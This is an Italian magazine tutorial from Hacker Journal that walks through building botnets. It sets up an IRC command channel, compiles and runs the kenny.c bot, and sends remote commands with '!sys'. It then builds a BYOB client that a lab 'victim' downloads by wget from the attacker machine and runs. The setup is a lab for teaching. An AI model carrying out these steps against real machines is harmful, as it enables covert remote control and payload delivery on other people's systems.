The Abyss
Credo che tutti, nella loro via, si trovino ad affrontare prima o poi il proprio personale “capitolo VIII”: l’Abisso (“The Abyss”). I momenti in cui mostriamo veramente noi stessi, sono quelli in cui veniamo schiacciati dalle difficoltà, quando la vita ci mette all’angolo. Qualcuno di noi si perde, altri decidono di restarci per scelta, altri ancora invece si rialzano, continuando a lottare sino alla fine. E sono proprio questi ultimi che, nel buio più profondo, riescono a trovare le cose più preziose.
Durante il nostro viaggio attraverso il manifesto The Fallen Dreams abbiamo visto, nel Capitolo V (n.249 di Hacker Journal), come funziona un attacco DoS ed abbiamo cominciato a parlare di Botnet. In questo episodio, ci concentreremo esclusivamente sulla botnet e sulla sua creazione.
- Che cos’è una BotNet
- Le parti di una BotNet
- Principali categorire
- mIRC Botnet – I : C&C
- mIRC Botnet – II : Creazione del Cloud-Server-Bot
- mIRC Botnet – III : Connessione al Server-bot
- mIRC Botnet – IV : Lanciamo il nostro Bot : CScript
- mIRC Botnet – V : Impartiamo comandi ai nostri Bot
- Creazione di una Botnet con BYOB
Che cosa è una Botnet?
Il termine botnet deriva dalla parola “robot” e viene utilizzato per descrivere uno script (o una serie di script), programmati per eseguire ripetutamente ed automaticamente funzioni predeterminate, dopo la loro attivazione sul sistema infetto. Mediaticamente il termine ha assunto una connotazione prettamente negativa. Tuttavia, ne esistono varianti che vengono utilizzate per eseguire azioni lecite in modo automatizzato (ad esempio, diverso tempo fa, i motori di ricerca le utilizzavano largamente nei giochi online per la ricerca di avversari virtuali).
Le parti di una Botnet
Una botnet include tre tipi di programmi:
- Server Program: programma che risiede nel Command and Control Server (C&C o C2) e viene utilizzato per controllare i device infetti.
- Client Program: programma che risiede nel device infetto e rimane in attesa delle istruzioni di controllo.
- Malicious Program: malware usato per infettare o compromettere i device attraverso Internet.
Il punto centrale di una botnet è la sua comunicazione. Il C&C continua a comunicare con i bot per impartirgli i comandi. I bot, a loro volta, restano in attesa delle istruzioni ed eseguono le attività come programmato, inviando i dati raccolti al server centrale.
Principali Categorie
Principalmente le Botnet rientrano in tre categorie:
IRC botnet: è la più vecchia delle categorie ed utilizza l’Internet Relay Chat Protocol (IRC). Il device compromesso viene agganciato ad una IRC chat room, per essere successivamente controllato da un botmaster.
HTTP botnet: il funzionamento è analogo a quello della botnet IRC e la comunicazione avviene tramite il protocollo http, con il quale l’attaccante cerca di confondere il traffico malevolo con quello del protocollo.
P2P botnet: superiore alle precedenti per capacità di offuscamento e resilienza, ha il vantaggio di avere una struttura decentralizzata, dove non esiste un vero e proprio C&C. In qualunque momento, un device infetto può assumere la funzione di slave o di master.
Addentriamoci ulteriormente e vediamo come creare una botnet attraverso mIRC.
mIRC Botnet – I : C&C
mIRC è un Relay Chat utilizzato da singoli e organizzazioni per comunicare, condividere, giocare e lavorare tra loro sulle reti IRC word wide. Supporta funzionalità come friends list, trasferimenti di file, connessioni multi-server, IPv6, crittografia SSL, proxy, display UTF-8, UPnP, etc…
Come prima cosa, scarichiamo il client mIRC e creiamo il canale che utilizzeremo per impartire istruzioni ai nostri bot.
mIRC è scaricabile al seguente indirizzo: https://www.mirc.com/get.html (attualmente la 7.64). Dopo aver eseguito il download, procediamo con l’installazione guidata, seguendo i vari step. Una volta terminata, lanciamo mIRC e scegliamo due volte “Continue”.
Nella finestra completiamo il campo “Nickname” e “Alternative”, scegliendo quelli che preferiamo e proseguiamo dando Ok.
Dal menù in alto a sinistra, clicchiamo su File e scegliamo la voce Select Server. Dall’elenco degli IRC Servers, selezioniamo Freenode e confermiamo cliccando su Add.
Alla voce Description, scegliamo una descrizione (nel mio caso HJ_C), Address è l’indirizzo del nostro server o il suo FQDN : chat.freenode.net. L’ultimo parametro è la porta: 6667 .
Dando Ok, vedremo apparire la nostra entry HJ_C nella lista degli IRC Servers. Ancora una volta, diamo l’Ok e ci ritroveremo nella schermata principale di mIRC.
Sulla sinistra, abbiamo la nostra entry: selezioniamola e clicchiamo su Connect (l’icona a forma di fulmine sulla barra poco più in alto).
Adesso, dobbiamo creare il nostro “channel”: chiudiamo la finestra dei Favorites che ci è appena comparsa e nella finestra del nostro “freenode”, scriviamo in basso: /j NomeDelCanale e diamo Enter: /j TheFallenDreams .
Adesso clicchiamo con il tasto destro del mouse (in una qualsiasi parte del nostro canale) per accedere al menù “Channel Modes”. Spuntiamo la voce Key e inseriamo la password per il nostro canale, nel mio caso: prova1 . Clicchiamo su Ok e così, il nostro C&C sarà pronto!
mIRC Botnet – II : Creiamo il nostro Cloud-Server-Bot
Per il nostro esempio, creeremo alcuni servers in cloud che avranno lo scopo di simulare le macchine infette, utilizzando la Free Trial sulla piattaforma Kamatera https://www.kamatera.com/ (una vale l’altra, voi potete scegliere quella che preferite).
Una volta effettuato il login, alla voce My Cloud selezioniamo “servers” e creiamone uno nuovo, cliccando sulla voce “Create New Server”.
Adesso, settiamo la configurazione del nostro server:
- Zona: Londra
- Sistema Operativo: Debian versione 10.0 a 64bit
- Type: A – Availability
- CPU: 1
- RAM: 1GB
- SSD: 10GB
- Public Internet Network : Si, Abilitato
- Password: [Settiamo una Password]
- Servers: 1 [Generiamo un solo server, per non eccedere la Trial]
- Name #1: HJBot1
Infine, confermiamo le varie opzioni ed attendiamo alcuni minuti per la creazione del server:
mIRC Botnet – III : Connessione al nostro Server-bot
Effettuiamo adesso, via SSH, la connessione al nostro bot appena creato. Possiamo reperire l’IP del bot espandendo il menù alla voce “Action” (immagine 7_HJBot1_Created.JPG) .
Se utilizziamo Windows potremo scegliere di connetterci via SSH al server-bot, utilizzando PUTTY. Nel nostro esempio, utilizzeremo una macchina Kali. Dopo aver preso nota dell’IP a cui connetterci, avviamo un terminal e digitiamo:
ssh root@[IP] –p 22
- ssh : comando
- root : username con cui desideriamo connetterci
- [IP] : indirizzo IP del nostro server-bot
- -p : parametro per specificare la porta
- 22 : numero della porta SSH
Diamo Enter, accettiamo la key e digitiamo la password che abbiamo precedentemente settato…così, saremo dentro al nostro server!
mIRC Botnet – IV : Lanciamo il nostro Bot : CScript
Una volta effettuata la connessione SSH, il nostro scopo sarà quello di utilizzare uno script in C per infettare il nostro server-bot.
Come prima cosa, creiamo la cartella HJBot1: mkdir HJBot1 ed entriamo al suo interno: cd HJBot1
Lo script che utilizzeremo è il seguente: https://dl.packetstormsecurity.net/irc/kenny.c
Quindi, scarichiamolo nella directory che abbiamo appena creato, utilizzando il comando wget:
wget https://dl.packetstormsecurity.net/irc/kenny.c
Adesso, il prossimo passo necessario sarà quello di compilare lo script. Per farlo utilizzeremo il compilatore GNU: gcc . Per prima cosa, sarà necessario scaricarlo:
apt install build-essential
Adesso, possiamo compilare il nostro script:
gcc kenny.c -o HJBotScript
- gcc : invochiamo il compiler
- c : nome dello script
- -o : parametro per specificare l’output
- HJBotScript : nome dell’output file
Assegniamo i permessi al nostro script: chmod 777 HJBotScript
Infine, eseguiamolo con i seguenti parametri:
./HJBotScript chat.freenode.net:6667 TheFallenDreams prova1
- /HJBotScript : il nome dello script compilato
- freenode.net : il server di mIRC
- :6667 : la porta
- TheFallenDreams : il nome del canale che abbiamo creato
- prova1 : la password del nostro canale
Dopo aver confermato il comando, torniamo sulla nostra chat mIRC. Qui potremo vedere il nostro bot appena unitosi al nostro canale.
mIRC Botnet – V : Impartiamo comandi ai nostri Bot
Una volta effettuato il Join al nostro canale, non ci rimarrà che impartire al nostro Bot qualche comando. Torniamo quindi nella nostra chat di mIRC e proviamo a digitare il comando:
!sys ip a
Procedendo in questo modo, tutti i nostri bot presenti nella chat eseguiranno il comando ip a (equivalente a ifconfig). Nel nostro caso, la risposta proverrà dall’unico bot connesso (il nostro server-bot).
Se invece volessimo impartire il comando esclusivamente ad un singolo bot, utilizzeremo la seguente sintassi:
/msg NomeDelBot !sys Comando
Quindi, se volessimo impartire il comando ls –al esclusivamente al nostro server-bot, digiteremmo:
/msg NcqPGKOn !sys ls -al
Creazione di una Botnet con BYOB
La versione di Kali che ho utilizzato per la creazione è:
Linux kali 5.10.0-kali3-amd64 #1 | Debian 5.10.13-1kali1 x86_64 GNU/Linux
Il prossimo passo sarà quello di utilizzare un software open-source post-exploitation, per creare la nostra botnet ed analizzarne le varie fasi.
Utilizzando il comando git, scarichiamo da github “Build Your Own Botnet” (BYOB)
git clone https://github.com/malwaredllc/byob.git
Saliamo sulla struttura delle directory:
cd byob
Nella folder byob troveremo il file requirements.txt per l’installazione delle varie dipendenze, quindi digitiamo:
pip3 install -r requirements.txt
Andiamo avanti lanciando lo script di setup:
python3 setup.py
Adesso, lanciamo il server di byob specificando la porta.
python server.py –port 5555
Digitiamo “help” per vedere i vari possibili comandi del nostro server bot:
Lasciando aperto questo terminal, apriamone un secondo per dare un’occhiata anche ai vari comandi del client.
python client.py –help
Procediamo configurando i parametri del nostro client, in modo che, una volta infettata, la nostra vittima venga reindirizzata al nostro server.
Eseguiamo un ifconfig per ottenere il nostro indirizzo IP locale, nel mio caso 192.168.178.70 .
Nel Capitolo V (Hacker Journal n249) per la creazione della nostra botnet abbiamo utilizzato Ares ed infettato una macchina Windows. Questa volta, la nostra vittima sarà un’altra macchina Linux, Debian32bit (scaricabile sul sito ufficiale https://www.debian.org/distrib/archive.it.html ) e avente IP: 192.168.178.66 .
python client.py –name CbotHackerJournal.py 192.168.178.59 5555
- python : utilizziamo python
- py : il nome dello script
- –name : parametro per specificare il nome della botnet
- py : il nome della nostra botnet
- 168.178.59 : l’IP della nostra macchina attaccante
- 5555: la porta che utilizzeremo, assegnata precedentemente al nostro server
Listando il contenuto delle directory troveremo il file:
- py
Avviamo il servizio di apache: service apache2 start
E copiamo il file appena creato nella directory /var/www/html , utilizzando il comando:
cp CbotHackerJournal.py /var/www/html
Spostiamoci adesso sulla macchina vittima ed utilizziamo il terminale per scaricare il nostro file malevolo dalla macchina attaccante. Scriviamo:
wget http://192.168.178.59/CbotHackerJournal.py
Non ci resta che eseguire il nostro file. Quindi, una volta scaricato, digitiamo:
python CbotHackerJournal.py
Ci siamo…Torniamo sulla nostra macchina attaccante Kali ed apriamo il terminale che avevamo lasciato in attesa, con il server in ascolto. Digitando il comando clients, potremo vedere la nostra vittima appena aggiunta alla nostra lista di bot, con tutti i dettagli compresa longitudine a latitudine, Public IP, etc.
Volendo potremmo scegliere anche di utilizzare la Graphic User Interface (GUI). Per avviarla, è necessario tornare nella cartella /byob ed accedere alla directory /web-gui/ .
Avviamo il setup e l’installazione delle varie dipendenze lanciando il file ./startup.sh .
A seguito dell’installazione, lanciamo il nostro browser e navighiamo all’indirizzo:
Una volta dentro la GUI di byob, non dovremo far altro che seguire “Getting Started” (in alto a sinistra) per dare inizio alla creazione della nostra botnet!